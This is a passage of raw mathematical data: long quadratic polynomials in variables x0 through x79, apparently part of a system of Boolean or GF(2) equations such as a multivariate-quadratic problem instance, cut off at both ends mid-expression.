x11*x76 + x11*x79 + x11 + x12*x14 + x12*x16 + x12*x17 + x12*x18 + x12*x21 + x12*x23 + x12*x24 + x12*x27 + x12*x28 + x12*x31 + x12*x36 + x12*x37 + x12*x39 + x12*x40 + x12*x41 + x12*x53 + x12*x54 + x12*x55 + x12*x57 + x12*x58 + x12*x61 + x12*x63 + x12*x64 + x12*x65 + x12*x68 + x12*x69 + x12*x72 + x12*x76 + x12*x79 + x12 + x13*x14 + x13*x16 + x13*x17 + x13*x18 + x13*x19 + x13*x21 + x13*x23 + x13*x24 + x13*x25 + x13*x26 + x13*x30 + x13*x34 + x13*x35 + x13*x39 + x13*x40 + x13*x41 + x13*x46 + x13*x48 + x13*x49 + x13*x50 + x13*x51 + x13*x52 + x13*x54 + x13*x55 + x13*x59 + x13*x61 + x13*x64 + x13*x65 + x13*x69 + x13*x72 + x13*x73 + x13*x75 + x13*x77 + x13*x79 + x14*x17 + x14*x20 + x14*x24 + x14*x26 + x14*x29 + x14*x30 + x14*x31 + x14*x32 + x14*x33 + x14*x35 + x14*x36 + x14*x37 + x14*x38 + x14*x42 + x14*x43 + x14*x47 + x14*x49 + x14*x52 + x14*x55 + x14*x56 + x14*x58 + x14*x59 + x14*x60 + x14*x62 + x14*x65 + x14*x67 + x14*x69 + x14*x71 + x14*x72 + x14*x73 + x14*x74 + x14*x75 + x14*x76 + x14*x77 + x14*x79 + x14 + x15*x20 + x15*x23 + x15*x24 + x15*x25 + x15*x26 + x15*x29 + x15*x33 + x15*x36 + x15*x37 + x15*x39 + x15*x40 + x15*x41 + x15*x44 + x15*x46 + x15*x48 + x15*x49 + x15*x50 + x15*x52 + x15*x57 + x15*x58 + x15*x59 + x15*x61 + x15*x64 + x15*x66 + x15*x72 + x16*x18 + x16*x19 + x16*x20 + x16*x21 + x16*x22 + x16*x23 + x16*x28 + x16*x29 + x16*x30 + x16*x31 + x16*x33 + x16*x35 + x16*x36 + x16*x38 + x16*x41 + x16*x42 + x16*x45 + x16*x49 + x16*x50 + x16*x51 + x16*x52 + x16*x53 + x16*x54 + x16*x56 + x16*x57 + x16*x58 + x16*x59 + x16*x60 + x16*x61 + x16*x62 + x16*x63 + x16*x67 + x16*x69 + x16*x70 + x16*x71 + x16*x73 + x16*x75 + x16*x76 + x16*x79 + x17*x19 + x17*x20 + x17*x21 + x17*x22 + x17*x26 + x17*x27 + x17*x29 + x17*x30 + x17*x32 + x17*x33 + x17*x36 + x17*x40 + x17*x42 + x17*x43 + x17*x44 + x17*x45 + x17*x47 + x17*x48 + x17*x51 + x17*x52 + x17*x53 + x17*x54 + x17*x55 + x17*x56 + x17*x58 + x17*x62 + x17*x64 + x17*x67 + x17*x69 + x17*x70 + x17*x72 + x17*x73 + x17*x79 + x18*x23 + x18*x24 + x18*x25 + x18*x28 + x18*x32 + x18*x33 + x18*x34 + x18*x35 + x18*x36 + x18*x37 + x18*x38 + x18*x39 + x18*x41 + x18*x44 + x18*x45 + x18*x47 + x18*x49 + x18*x51 + x18*x52 + x18*x53 + x18*x55 + x18*x57 + x18*x59 + x18*x61 + x18*x63 + x18*x67 + x18*x68 + x18*x69 + x18*x71 + x18*x74 + x18*x75 + x18*x76 + x18*x77 + x18*x79 + x19*x21 + x19*x23 + x19*x26 + x19*x28 + x19*x29 + x19*x30 + x19*x35 + x19*x37 + x19*x38 + x19*x39 + x19*x40 + x19*x41 + x19*x46 + x19*x47 + x19*x49 + x19*x51 + x19*x56 + x19*x61 + x19*x63 + x19*x65 + x19*x67 + x19*x68 + x19*x69 + x19*x71 + x19*x75 + x19*x76 + x19*x77 + x19*x78 + x20*x21 + x20*x23 + x20*x24 + x20*x26 + x20*x30 + x20*x31 + x20*x32 + x20*x33 + x20*x34 + x20*x35 + x20*x37 + x20*x41 + x20*x43 + x20*x44 + x20*x46 + x20*x47 + x20*x48 + x20*x49 + x20*x52 + x20*x53 + x20*x54 + x20*x56 + x20*x60 + x20*x62 + x20*x63 + x20*x64 + x20*x66 + x20*x67 + x20*x68 + x20*x69 + x20*x70 + x20*x71 + x20*x73 + x20*x76 + x20 + x21*x22 + x21*x23 + x21*x26 + x21*x27 + x21*x39 + x21*x40 + x21*x45 + x21*x47 + x21*x48 + x21*x49 + x21*x54 + x21*x56 + x21*x58 + x21*x59 + x21*x60 + x21*x61 + x21*x62 + x21*x63 + x21*x65 + x21*x71 + x21*x72 + x21*x73 + x21*x76 + x21*x78 + x21*x79 + x21 + x22*x23 + x22*x25 + x22*x26 + x22*x27 + x22*x29 + x22*x32 + x22*x33 + x22*x34 + x22*x36 + x22*x37 + x22*x38 + x22*x39 + x22*x41 + x22*x45 + x22*x47 + x22*x48 + x22*x50 + x22*x51 + x22*x52 + x22*x55 + x22*x56 + x22*x58 + x22*x59 + x22*x60 + x22*x66 + x22*x67 + x22*x75 + x22*x79 + x22 + x23*x24 + x23*x26 + x23*x27 + x23*x28 + x23*x29 + x23*x30 + x23*x35 + x23*x37 + x23*x38 + x23*x39 + x23*x40 + x23*x41 + x23*x48 + x23*x50 + x23*x52 + x23*x53 + x23*x55 + x23*x56 + x23*x58 + x23*x62 + x23*x67 + x23*x68 + x23*x69 + x23*x70 + x23*x72 + x23*x76 + x23*x77 + x23*x78 + x23*x79 + x23 + x24*x26 + x24*x27 + x24*x28 + x24*x29 + x24*x30 + x24*x31 + x24*x35 + x24*x39 + x24*x40 + x24*x41 + x24*x43 + x24*x46 + x24*x49 + x24*x50 + x24*x51 + x24*x52 + x24*x53 + x24*x60 + x24*x61 + x24*x64 + x24*x68 + x24*x69 + x24*x70 + x24*x72 + x24*x73 + x24*x75 + x24*x78 + x25*x26 + x25*x28 + x25*x29 + x25*x30 + x25*x31 + x25*x33 + x25*x34 + x25*x35 + x25*x36 + x25*x37 + x25*x38 + x25*x39 + x25*x40 + x25*x44 + x25*x46 + x25*x54 + x25*x57 + x25*x58 + x25*x59 + x25*x61 + x25*x64 + x25*x67 + x25*x69 + x25*x71 + x25*x72 + x25*x75 + x25*x77 + x25 + x26*x27 + x26*x28 + x26*x30 + x26*x31 + x26*x32 + x26*x34 + x26*x35 + x26*x39 + x26*x40 + x26*x41 + x26*x45 + x26*x50 + x26*x51 + x26*x52 + x26*x54 + x26*x58 + x26*x59 + x26*x61 + x26*x62 + x26*x67 + x26*x69 + x26*x71 + x26*x72 + x26*x74 + x26*x75 + x26*x78 + x26*x79 + x26 + x27*x28 + x27*x32 + x27*x33 + x27*x36 + x27*x39 + x27*x40 + x27*x43 + x27*x44 + x27*x45 + x27*x53 + x27*x59 + x27*x65 + x27*x66 + x27*x68 + x27*x69 + x27*x71 + x27*x72 + x27*x73 + x27*x74 + x27*x76 + x27*x77 + x27*x78 + x28*x29 + x28*x31 + x28*x33 + x28*x35 + x28*x36 + x28*x38 + x28*x39 + x28*x40 + x28*x44 + x28*x45 + x28*x46 + x28*x47 + x28*x48 + x28*x50 + x28*x51 + x28*x52 + x28*x53 + x28*x54 + x28*x59 + x28*x60 + x28*x62 + x28*x63 + x28*x65 + x28*x69 + x28*x71 + x28*x75 + x28*x78 + x28*x79 + x28 + x29*x32 + x29*x35 + x29*x36 + x29*x37 + x29*x39 + x29*x40 + x29*x41 + x29*x42 + x29*x45 + x29*x48 + x29*x51 + x29*x54 + x29*x59 + x29*x60 + x29*x61 + x29*x62 + x29*x64 + x29*x66 + x29*x68 + x29*x70 + x29*x71 + x29*x72 + x29*x73 + x29*x76 + x29 + x30*x32 + x30*x34 + x30*x35 + x30*x36 + x30*x38 + x30*x42 + x30*x43 + x30*x48 + x30*x49 + x30*x51 + x30*x53 + x30*x55 + x30*x56 + x30*x57 + x30*x58 + x30*x60 + x30*x61 + x30*x62 + x30*x63 + x30*x65 + x30*x68 + x30*x70 + x30*x71 + x30*x73 + x30*x76 + x30*x77 + x30*x78 + x30*x79 + x31*x32 + x31*x33 + x31*x35 + x31*x36 + x31*x37 + x31*x42 + x31*x43 + x31*x44 + x31*x47 + x31*x50 + x31*x53 + x31*x54 + x31*x56 + x31*x57 + x31*x59 + x31*x60 + x31*x61 + x31*x62 + x31*x63 + x31*x67 + x31*x69 + x31*x70 + x31*x71 + x31*x72 + x31*x73 + x31*x74 + x31*x75 + x31*x76 + x31*x78 + x32*x34 + x32*x35 + x32*x37 + x32*x41 + x32*x43 + x32*x44 + x32*x45 + x32*x48 + x32*x51 + x32*x52 + x32*x53 + x32*x54 + x32*x55 + x32*x57 + x32*x58 + x32*x62 + x32*x63 + x32*x65 + x32*x67 + x32*x70 + x32*x71 + x32*x72 + x32*x74 + x32*x79 + x32 + x33*x42 + x33*x43 + x33*x44 + x33*x47 + x33*x48 + x33*x49 + x33*x50 + x33*x52 + x33*x53 + x33*x55 + x33*x56 + x33*x60 + x33*x61 + x33*x62 + x33*x63 + x33*x67 + x33*x68 + x33*x70 + x33*x74 + x33*x75 + x33*x79 + x33 + x34*x40 + x34*x42 + x34*x43 + x34*x45 + x34*x46 + x34*x47 + x34*x48 + x34*x49 + x34*x50 + x34*x51 + x34*x52 + x34*x53 + x34*x54 + x34*x57 + x34*x58 + x34*x60 + x34*x61 + x34*x64 + x34*x65 + x34*x66 + x34*x67 + x34*x68 + x34*x69 + x34*x70 + x34*x74 + x34*x78 + x34*x79 + x35*x36 + x35*x37 + x35*x42 + x35*x43 + x35*x44 + x35*x45 + x35*x48 + x35*x49 + x35*x50 + x35*x52 + x35*x53 + x35*x54 + x35*x58 + x35*x66 + x35*x69 + x35*x71 + x35*x73 + x35*x77 + x35*x79 + x35 + x36*x37 + x36*x38 + x36*x39 + x36*x44 + x36*x45 + x36*x46 + x36*x47 + x36*x49 + x36*x53 + x36*x54 + x36*x58 + x36*x62 + x36*x64 + x36*x66 + x36*x69 + x36*x70 + x36*x72 + x36*x73 + x36*x77 + x36*x78 + x36*x79 + x37*x38 + x37*x40 + x37*x41 + x37*x43 + x37*x46 + x37*x47 + x37*x49 + x37*x50 + x37*x51 + x37*x52 + x37*x53 + x37*x57 + x37*x61 + x37*x63 + x37*x64 + x37*x66 + x37*x67 + x37*x68 + x37*x69 + x37*x70 + x37*x71 + x37*x73 + x37*x75 + x37*x76 + x37*x78 + x37*x79 + x37 + x38*x39 + x38*x40 + x38*x41 + x38*x42 + x38*x44 + x38*x45 + x38*x46 + x38*x49 + x38*x50 + x38*x54 + x38*x56 + x38*x59 + x38*x60 + x38*x63 + x38*x65 + x38*x66 + x38*x67 + x38*x69 + x38*x75 + x38*x76 + x38*x78 + x38*x79 + x38 + x39*x41 + x39*x42 + x39*x44 + x39*x45 + x39*x47 + x39*x53 + x39*x55 + x39*x56 + x39*x58 + x39*x59 + x39*x60 + x39*x61 + x39*x64 + x39*x65 + x39*x66 + x39*x67 + x39*x69 + x39*x70 + x39*x71 + x39*x72 + x39*x73 + x39*x76 + x39*x78 + x40*x43 + x40*x44 + x40*x47 + x40*x50 + x40*x51 + x40*x54 + x40*x55 + x40*x57 + x40*x58 + x40*x60 + x40*x62 + x40*x66 + x40*x68 + x40*x70 + x40*x71 + x40*x74 + x40*x75 + x40*x76 + x40*x77 + x40*x78 + x40*x79 + x40 + x41*x42 + x41*x46 + x41*x47 + x41*x49 + x41*x51 + x41*x53 + x41*x56 + x41*x59 + x41*x61 + x41*x63 + x41*x64 + x41*x65 + x41*x67 + x41*x68 + x41*x69 + x41*x71 + x41*x72 + x41*x74 + x41*x75 + x41*x77 + x41*x78 + x41 + x42*x46 + x42*x47 + x42*x49 + x42*x50 + x42*x51 + x42*x52 + x42*x53 + x42*x56 + x42*x59 + x42*x64 + x42*x65 + x42*x70 + x42*x71 + x42*x74 + x42*x78 + x42 + x43*x44 + x43*x45 + x43*x46 + x43*x47 + x43*x48 + x43*x52 + x43*x53 + x43*x54 + x43*x55 + x43*x56 + x43*x57 + x43*x58 + x43*x59 + x43*x60 + x43*x61 + x43*x65 + x43*x66 + x43*x68 + x43*x72 + x43*x73 + x43*x74 + x43*x77 + x43*x79 + x44*x47 + x44*x48 + x44*x50 + x44*x52 + x44*x55 + x44*x56 + x44*x58 + x44*x59 + x44*x63 + x44*x64 + x44*x65 + x44*x68 + x44*x69 + x44*x71 + x44*x72 + x44*x73 + x44*x75 + x44*x77 + x44*x78 + x45*x46 + x45*x49 + x45*x50 + x45*x52 + x45*x53 + x45*x56 + x45*x58 + x45*x61 + x45*x62 + x45*x64 + x45*x65 + x45*x66 + x45*x67 + x45*x69 + x45*x70 + x45*x73 + x45*x74 + x45*x75 + x45*x77 + x45*x78 + x45 + x46*x47 + x46*x51 + x46*x52 + x46*x53 + x46*x54 + x46*x56 + x46*x57 + x46*x58 + x46*x60 + x46*x61 + x46*x62 + x46*x65 + x46*x69 + x46*x74 + x46*x75 + x46*x77 + x46*x79 + x47*x51 + x47*x57 + x47*x58 + x47*x61 + x47*x62 + x47*x63 + x47*x64 + x47*x65 + x47*x66 + x47*x70 + x47*x74 + x47*x75 + x47*x76 + x47*x77 + x47*x79 + x47 + x48*x50 + x48*x56 + x48*x58 + x48*x60 + x48*x61 + x48*x63 + x48*x64 + x48*x66 + x48*x67 + x48*x68 + x48*x69 + x48*x72 + x48*x74 + x48*x75 + x48*x76 + x48*x77 + x48*x79 + x48 + x49*x52 + x49*x53 + x49*x54 + x49*x55 + x49*x56 + x49*x57 + x49*x60 + x49*x62 + x49*x64 + x49*x67 + x49*x70 + x49*x71 + x49*x73 + x49*x75 + x50*x52 + x50*x53 + x50*x58 + x50*x59 + x50*x63 + x50*x65 + x50*x66 + x50*x67 + x50*x68 + x50*x69 + x50*x72 + x50*x78 + x50 + x51*x52 + x51*x53 + x51*x55 + x51*x57 + x51*x58 + x51*x60 + x51*x61 + x51*x62 + x51*x64 + x51*x65 + x51*x66 + x51*x69 + x51*x70 + x51*x71 + x51*x72 + x51*x73 + x51*x74 + x51*x75 + x51*x77 + x51 + x52*x54 + x52*x56 + x52*x59 + x52*x60 + x52*x61 + x52*x62 + x52*x64 + x52*x66 + x52*x67 + x52*x68 + x52*x71 + x52*x72 + x52*x73 + x52*x74 + x52*x75 + x52*x76 + x52*x77 + x53*x55 + x53*x58 + x53*x62 + x53*x65 + x53*x68 + x53*x69 + x53*x70 + x53*x73 + x53*x76 + x53*x78 + x53*x79 + x54*x56 + x54*x57 + x54*x58 + x54*x62 + x54*x63 + x54*x65 + x54*x66 + x54*x67 + x54*x69 + x54*x70 + x54*x71 + x54*x72 + x54*x75 + x54*x79 + x54 + x55*x56 + x55*x61 + x55*x62 + x55*x65 + x55*x66 + x55*x67 + x55*x68 + x55*x69 + x55*x70 + x55*x76 + x55*x77 + x55*x78 + x55*x79 + x56*x59 + x56*x62 + x56*x63 + x56*x68 + x56*x70 + x56*x71 + x56*x72 + x56*x75 + x56*x76 + x56*x77 + x56*x78 + x57*x60 + x57*x61 + x57*x63 + x57*x64 + x57*x65 + x57*x66 + x57*x69 + x57*x73 + x57*x76 + x57*x77 + x57*x78 + x57*x79 + x57 + x58*x59 + x58*x61 + x58*x62 + x58*x66 + x58*x68 + x58*x69 + x58*x70 + x58*x71 + x58*x72 + x58*x73 + x58*x76 + x58*x77 + x58*x79 + x59*x61 + x59*x62 + x59*x64 + x59*x65 + x59*x69 + x59*x73 + x59*x74 + x59*x75 + x59*x78 + x60*x61 + x60*x63 + x60*x67 + x60*x71 + x60*x74 + x60*x77 + x60*x79 + x60 + x61*x65 + x61*x66 + x61*x67 + x61*x70 + x61*x71 + x61*x72 + x61*x77 + x61*x78 + x61*x79 + x62*x63 + x62*x65 + x62*x66 + x62*x69 + x62*x70 + x62*x71 + x62*x72 + x62*x73 + x62*x74 + x62*x77 + x62*x78 + x63*x65 + x63*x66 + x63*x67 + x63*x69 + x63*x71 + x63*x73 + x63*x76 + x63*x77 + x63*x78 + x63*x79 + x63 + x64*x66 + x64*x70 + x64*x71 + x64*x74 + x64*x76 + x64*x77 + x64*x79 + x65*x66 + x65*x67 + x65*x69 + x65*x70 + x65*x71 + x65*x73 + x65*x78 + x65*x79 + x66*x67 + x66*x68 + x66*x69 + x66*x71 + x66*x73 + x66*x74 + x66*x78 + x66 + x67*x68 + x67*x69 + x67*x70 + x67*x75 + x67*x76 + x67*x77 + x68*x70 + x68*x72 + x68*x73 + x68*x76 + x68*x78 + x69*x70 + x69*x75 + x69*x76 + x69*x78 + x70*x73 + x70*x79 + x70 + x71*x72 + x71*x73 + x71*x75 + x71*x77 + x72*x73 + x72*x75 + x72*x76 + x72*x78 + x72 + x73*x74 + x73*x75 + x73*x76 + x73*x77 + x73 + x74*x77 + x74*x78 + x74 + x75*x76 + x75 + x76*x77 + x76*x78 + x77*x78 + 1, x0*x5 + x0*x7 + x0*x10 + x0*x16 + x0*x18 + x0*x20 + x0*x24 + x0*x27 + x0*x28 + x0*x29 + x0*x30 + x0*x34 + x0*x37 + x0*x38 + x0*x39 + x0*x41 + x0*x44 + x0*x47 + x0*x50 + x0*x52 + x0*x53 + x0*x54 + x0*x55 + x0*x56 + x0*x60 + x0*x61 + x0*x65 + x0*x66 + x0*x67 + x0*x68 + x0*x70 + x0*x71 + x0*x72 + x0*x73 + x0*x74 + x0*x76 + x0*x77 + x0 + x1*x5 + x1*x6 + x1*x7 + x1*x8 + x1*x9 + x1*x12 + x1*x14 + x1*x19 + x1*x23 + x1*x26 + x1*x27 + x1*x28 + x1*x30 + x1*x32 + x1*x33 + x1*x36 + x1*x37 + x1*x38 + x1*x43 + x1*x44 + x1*x45 + x1*x48 + x1*x52 + x1*x55 + x1*x57 + x1*x59 + x1*x60 + x1*x61 + x1*x62 + x1*x63 + x1*x65 + x1*x67 + x1*x71 + x1*x73 + x1*x77 + x1*x79 + x1 + x2*x6 + x2*x8 + x2*x9 + x2*x11 + x2*x12 + x2*x13 + x2*x17 + x2*x19 + x2*x21 + x2*x22 + x2*x23 + x2*x24 + x2*x30 + x2*x31 + x2*x34 + x2*x36 + x2*x38 + x2*x39 + x2*x41 + x2*x43 + x2*x49 + x2*x50 + x2*x51 + x2*x52 + x2*x53 + x2*x54 + x2*x56 + x2*x57 + x2*x58 + x2*x59 + x2*x63 + x2*x64 + x2*x66 + x2*x67 + x2*x68 + x2*x69 + x2*x70 + x2*x72 + x2*x73 + x2*x74 + x2*x76 + x2*x78 + x2*x79 + x3*x5 + x3*x6 + x3*x8 + x3*x9 + x3*x10 + x3*x19 + x3*x21 + x3*x24 + x3*x25 + x3*x26 + x3*x27 + x3*x28 + x3*x30 + x3*x33 + x3*x34 + x3*x36 + x3*x38 + x3*x39 + x3*x40 + x3*x42 + x3*x43 + x3*x45 + x3*x46 + x3*x49 + x3*x50 + x3*x51 + x3*x52 + x3*x54 + x3*x56 + x3*x57 + x3*x58 + x3*x62 + x3*x64 + x3*x66 + x3*x67 + x3*x68 + x3*x74 + x3*x75 + x3*x76 + x3 + x4*x5 + x4*x6 + x4*x8 + x4*x9 + x4*x10 + x4*x11 + x4*x12 + x4*x13 + x4*x15 + x4*x16 + x4*x17 + x4*x18 + x4*x19 + x4*x20 + x4*x21 + x4*x24 + x4*x26 + x4*x30 + x4*x32 + x4*x38 + x4*x39 + x4*x43 + x4*x45 + x4*x46 + x4*x48 + x4*x52 + x4*x53 + x4*x54 + x4*x55 + x4*x57 + x4*x58 + x4*x60 + x4*x61 + x4*x66 + x4*x70 + x4*x75 + x4*x77 + x4*x78 + x5*x6 + x5*x7 + x5*x8 + x5*x10 + x5*x11 + x5*x12 + x5*x13 + x5*x14 + x5*x15 + x5*x19 + x5*x29 + x5*x30 + x5*x32 + x5*x35 + x5*x39 + x5*x42 + x5*x43 + x5*x45 + x5*x47 + x5*x48 + x5*x49 + x5*x50 + x5*x51 + x5*x52 + x5*x53 + x5*x55 + x5*x56 + x5*x58 + x5*x59 + x5*x60 + x5*x61 + x5*x66 + x5*x67 + x5*x69 + x5*x73 + x5 + x6*x7 + x6*x10 + x6*x13 + x6*x14 + x6*x15 + x6*x16 + x6*x17 + x6*x19 + x6*x22 + x6*x25 + x6*x27 + x6*x30 + x6*x32 + x6*x33 + x6*x34 + x6*x35 + x6*x37 + x6*x40 + x6*x41 + x6*x45 + x6*x47 + x6*x48 + x6*x49 + x6*x51 + x6*x52 + x6*x53 + x6*x55 + x6*x58 + x6*x59 + x6*x61 + x6*x62 + x6*x63 + x6*x65 + x6*x66 + x6*x67 + x6*x70 + x6*x73 + x6*x77 + x6*x78 + x7*x8 + x7*x9 + x7*x10 + x7*x13 + x7*x15 + x7*x16 + x7*x17 + x7*x18 + x7*x19 + x7*x21 + x7*x22 + x7*x23 + x7*x24 + x7*x25 + x7*x26 + x7*x28 + x7*x29 + x7*x31 + x7*x34 + x7*x41 + x7*x43 + x7*x44 + x7*x45 + x7*x47 + x7*x48 + x7*x49 + x7*x50 + x7*x51 + x7*x52 + x7*x56 + x7*x57 + x7*x58 + x7*x61 + x7*x64 + x7*x66 + x7*x68 + x7*x69 + x7*x70 + x7*x71 + x7*x73 + x7*x75 + x7*x76 + x8*x11 + x8*x12 + x8*x13 + x8*x14 + x8*x15 + x8*x19 + x8*x22 + x8*x24 + x8*x27 + x8*x29 + x8*x31 + x8*x33 + x8*x34 + x8*x35 + x8*x36 + x8*x37 + x8*x38 + x8*x42 + x8*x44 + x8*x45 + x8*x46 + x8*x47 + x8*x48 + x8*x50 + x8*x54 + x8*x58 + x8*x59 + x8*x60 + x8*x64 + x8*x74 + x8*x76 + x8*x77 + x9*x11 + x9*x12 + x9*x16 + x9*x18 + x9*x22 + x9*x23 + x9*x26 + x9*x28 + x9*x30 + x9*x31 + x9*x41 + x9*x44 + x9*x45 + x9*x46 + x9*x47 + x9*x49 + x9*x50 + x9*x52 + x9*x53 + x9*x55 + x9*x57 + x9*x59 + x9*x62 + x9*x65 + x9*x66 + x9*x68 + x9*x69 + x9*x74 + x9*x76 + x10*x12 + x10*x13 + x10*x16 + x10*x20 + x10*x25 + x10*x27 + x10*x30 + x10*x31 + x10*x32 + x10*x34 + x10*x35 + x10*x36 + x10*x39 + x10*x40 + x10*x42 + x10*x44 + x10*x45 + x10*x46 + x10*x47 + x10*x49 + x10*x51 + x10*x54 + x10*x56 + x10*x61 + x10*x63 + x10*x64 + x10*x65 + x10*x69 + x10*x71 + x10*x75 + x10*x76 + x10*x79 + x11*x14 + x11*x16 + x11*x19 + x11*x21 + x11*x23 + x11*x24 + x11*x26 + x11*x27 + x11*x30 + x11*x31 + x11*x34 + x11*x35 + x11*x39 + x11*x40 + x11*x43 + x11*x46 + x11*x47 + x11*x49 + x11*x52 + x11*x54 + x11*x55 + x11*x56 + x11*x57 + x11*x61 + x11*x63 + x11*x65 + x11*x66 + x11*x67 + x11*x68 + x11*x69 + x11*x70 + x11*x72 + x11*x73 + x11*x74 + x11*x75 + x11*x76 + x11*x77 + x11 + x12*x13 + x12*x15 + x12*x17 + x12*x18 + x12*x21 + x12*x22 + x12*x25 + x12*x26 + x12*x27 + x12*x30 + x12*x31 + x12*x34 + x12*x36 + x12*x38 + x12*x40 + x12*x43 + x12*x44 + x12*x46 + x12*x50 + x12*x54 + x12*x59 + x12*x60 + x12*x61 + x12*x62 + x12*x64 + x12*x65 + x12*x66 + x12*x67 + x12*x72 + x12*x77 + x13*x14 + x13*x15 + x13*x16 + x13*x17 + x13*x19 + x13*x20 + x13*x23 + x13*x24 + x13*x25 + x13*x28 + x13*x29 + x13*x32 + x13*x34 + x13*x36 + x13*x37 + x13*x43 + x13*x44 + x13*x45 + x13*x49 + x13*x50 + x13*x53 + x13*x55 + x13*x56 + x13*x59 + x13*x60 + x13*x63 + x13*x64 + x13*x65 + x13*x67 + x13*x72 + x13*x73 + x13*x74 + x13*x75 + x13*x77 + x13 + x14*x16 + x14*x18 + x14*x20 + x14*x21 + x14*x25 + x14*x27 + x14*x28 + x14*x30 + x14*x31 + x14*x32 + x14*x33 + x14*x37 + x14*x39 + x14*x42 + x14*x48 + x14*x49 + x14*x53 + x14*x54 + x14*x55 + x14*x57 + x14*x60 + x14*x61 + x14*x62 + x14*x65 + x14*x67 + x14*x70 + x14*x72 + x14*x74 + x14*x75 + x14*x77 + x14*x79 + x14 + x15*x16 + x15*x17 + x15*x18 + x15*x19 + x15*x23 + x15*x32 + x15*x35 + x15*x40 + x15*x43 + x15*x46 + x15*x47 + x15*x48 + x15*x49 + x15*x50 + x15*x51 + x15*x53 + x15*x54 + x15*x56 + x15*x58 + x15*x59 + x15*x62 + x15*x63 + x15*x65 + x15*x66 + x15*x67 + x15*x69 + x15*x70 + x15*x72 + x15*x77 + x15*x79 + x15 + x16*x17 + x16*x18 + x16*x21 + x16*x25 + x16*x26 + x16*x28 + x16*x30 + x16*x32 + x16*x33 + x16*x34 + x16*x36 + x16*x37 + x16*x41 + x16*x44 + x16*x45 + x16*x46 + x16*x51 + x16*x56 + x16*x58 + x16*x59 + x16*x60 + x16*x61 + x16*x62 + x16*x63 + x16*x65 + x16*x66 + x16*x67 + x16*x70 + x16*x71 + x16*x73 + x16*x75 + x16*x76 + x16*x77 + x16 + x17*x18 + x17*x21 + x17*x23 + x17*x24 + x17*x25 + x17*x28 + x17*x29 + x17*x30 + x17*x33 + x17*x37 + x17*x39 + x17*x40 + x17*x43 + x17*x48 + x17*x49 + x17*x51 + x17*x53 + x17*x55 + x17*x57 + x17*x60 + x17*x61 + x17*x62 + x17*x70 + x17*x73 + x17*x77 + x17*x78 + x17 + x18*x19 + x18*x20 + x18*x21 + x18*x22 + x18*x23 + x18*x24 + x18*x25 + x18*x27 + x18*x28 + x18*x30 + x18*x31 + x18*x32 + x18*x33 + x18*x34 + x18*x36 + x18*x38 + x18*x39 + x18*x44 + x18*x47 + x18*x48 + x18*x51 + x18*x53 + x18*x54 + x18*x56 + x18*x59 + x18*x60 + x18*x62 + x18*x63 + x18*x65 + x18*x66 + x18*x67 + x18*x69 + x18*x70 + x18*x71 + x18*x76 + x18*x77 + x18*x79 + x19*x21 + x19*x22 + x19*x26 + x19*x28 + x19*x30 + x19*x34 + x19*x35 + x19*x36 + x19*x38 + x19*x40 + x19*x41 + x19*x42 + x19*x47 + x19*x49 + x19*x52 + x19*x53 + x19*x54 + x19*x57 + x19*x59 + x19*x62 + x19*x65 + x19*x66 + x19*x67 + x19*x68 + x19*x72 + x19*x73 + x19*x78 + x20*x21 + x20*x24 + x20*x27 + x20*x28 + x20*x31 + x20*x33 + x20*x35 + x20*x36 + x20*x38 + x20*x41 + x20*x44 + x20*x46 + x20*x49 + x20*x50 + x20*x51 + x20*x52 + x20*x55 + x20*x56 + x20*x59 + x20*x60 + x20*x61 + x20*x63 + x20*x64 + x20*x66 + x20*x68 + x20*x70 + x20*x71 + x20*x74 + x20*x75 + x20*x78 + x20*x79 + x20 + x21*x26 + x21*x27 + x21*x28 + x21*x29 + x21*x32 + x21*x33 + x21*x34 + x21*x35 + x21*x38 + x21*x40 + x21*x42 + x21*x43 + x21*x45 + x21*x46 + x21*x47 + x21*x48 + x21*x49 + x21*x50 + x21*x51 + x21*x53 + x21*x54 + x21*x55 + x21*x59 + x21*x60 + x21*x61 + x21*x62 + x21*x63 + x21*x64 + x21*x65 + x21*x67 + x21*x68 + x21*x70 + x21*x73 + x21*x76 + x21*x79 + x22*x23 + x22*x24 + x22*x26 + x22*x28 + x22*x32 + x22*x33 + x22*x35 + x22*x36 + x22*x37 + x22*x38 + x22*x40 + x22*x42 + x22*x43 + x22*x44 + x22*x45 + x22*x46 + x22*x48 + x22*x49 + x22*x51 + x22*x52 + x22*x53 + x22*x54 + x22*x55 + x22*x57 + x22*x64 + x22*x66 + x22*x69 + x22*x71 + x22*x73 + x22*x74 + x22*x75 + x22*x76 + x22*x78 + x22*x79 + x22 + x23*x26 + x23*x28 + x23*x29 + x23*x30 + x23*x31 + x23*x33 + x23*x38 + x23*x41 + x23*x44 + x23*x45 + x23*x46 + x23*x48 + x23*x51 + x23*x52 + x23*x53 + x23*x55 + x23*x57 + x23*x59 + x23*x60 + x23*x64 + x23*x65 + x23*x66 + x23*x69 + x23*x71 + x23*x79 + x23 + x24*x29 + x24*x30 + x24*x32 + x24*x33 + x24*x34 + x24*x35 + x24*x36 + x24*x38 + x24*x39 + x24*x41 + x24*x44 + x24*x45 + x24*x46 + x24*x49 + x24*x50 + x24*x52 + x24*x53 + x24*x55 + x24*x56 + x24*x61 + x24*x64 + x24*x65 + x24*x69 + x24*x71 + x24*x72 + x24*x73 + x24*x74 + x24*x75 + x24*x76 + x24*x77 + x24*x79 + x25*x26 + x25*x28 + x25*x29 + x25*x32 + x25*x33 + x25*x36 + x25*x38 + x25*x40 + x25*x43 + x25*x44 + x25*x46 + x25*x47 + x25*x50 + x25*x53 + x25*x54 + x25*x55 + x25*x60 + x25*x62 + x25*x63 + x25*x66 + x25*x67 + x25*x70 + x25*x71 + x25*x73 + x25*x76 + x25*x78 + x25*x79 + x25 + x26*x27 + x26*x29 + x26*x33 + x26*x35 + x26*x36 + x26*x38 + x26*x40 + x26*x41 + x26*x42 + x26*x43 + x26*x45 + x26*x46 + x26*x49 + x26*x52 + x26*x53 + x26*x57 + x26*x61 + x26*x63 + x26*x65 + x26*x67 + x26*x68 + x26*x69 + x26*x71 + x26*x72 + x26*x74 + x26*x79 + x27*x28 + x27*x29 + x27*x31 + x27*x33 + x27*x35 + x27*x37 + x27*x38 + x27*x39 + x27*x41 + x27*x43 + x27*x49 + x27*x52 + x27*x53 + x27*x55 + x27*x56 + x27*x59 + x27*x60 + x27*x61 + x27*x62 + x27*x63 + x27*x64 + x27*x66 + x27*x69 + x27*x75 + x27*x77 + x27 + x28*x29 + x28*x30 + x28*x32 + x28*x37 + x28*x38 + x28*x40 + x28*x41 + x28*x43 + x28*x45 + x28*x46 + x28*x48 + x28*x49 + x28*x51 + x28*x53 + x28*x54 + x28*x55 + 